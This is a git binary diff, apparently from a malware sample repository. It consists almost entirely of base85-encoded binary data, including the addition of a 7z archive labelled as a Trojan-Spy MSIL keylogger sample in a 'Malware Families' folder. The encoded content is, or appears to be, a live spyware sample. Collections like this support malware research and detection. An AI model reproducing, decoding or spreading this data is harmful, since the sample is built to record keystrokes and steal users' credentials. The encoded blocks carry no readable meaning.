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 literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.ghj.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.ghj.7z new file mode 100644 index 0000000000000000000000000000000000000000..d12c1facc50d832506723d9d6f6899b508a34c36 GIT binary patch literal 116653 zcmZ^~QA9F{38JQ6wF9i&O z0ssI20dU=cs8YEH?Fa@4000UE0095*tALY}iH)JPhlH)E9i5R=OuUTbFh4@bE3i{o zyoz@5`B%Ecr6h_US|Gat>p|gS#Z>a5L|AQXJh2BDdLa4()QAAsFOXsu_-)l|q^Fnf zIpk(b8_t-(kZr+AK2GL~JMZVsQ_T?An#yH=rY+_!>7Ca-fdLr8Bk8BpZ#gM0cfgg#UCjQv+Pm6 z^C-NketMCazXj!k&IzUlnZhdRX3%(K+Tol@-1Lvem8Vvt><)=HV{Y>QRkHmC`~sDK z<@y2r-z5{05Mh%yaB_09b2R=}G9Tqh+YNq{ZQ^_QCTr3w{}>yXL8Lz#bBRLb-o%Ugm^;Fc$WhP_mA=h8Nl4g;FkjyVBzl9L!>9Cf!&TS*2~xro3&AwlXu1 zVZuVs<3w+AbgH5UN%}J=I7NTlUsIysT$zyO(;XG)gR-wr#{a+}OTXDlY0SI>GR=J) zFgAxT+P4{uGsU*JXr8@Z{#8Wpp-uY6OYi05wsJp946x~lMSP-ldNUqMI!^bA2A?Az zZvE3vVlT7V2+T!5ER7>1&JaD{-+;qy@A3w@E!&plgmpXLxrZr??169y;T{PbzvIG1 zzYQnIJmdeDU08s^TJ-iiwf-oa+Tyr@kQG#c^NCZ 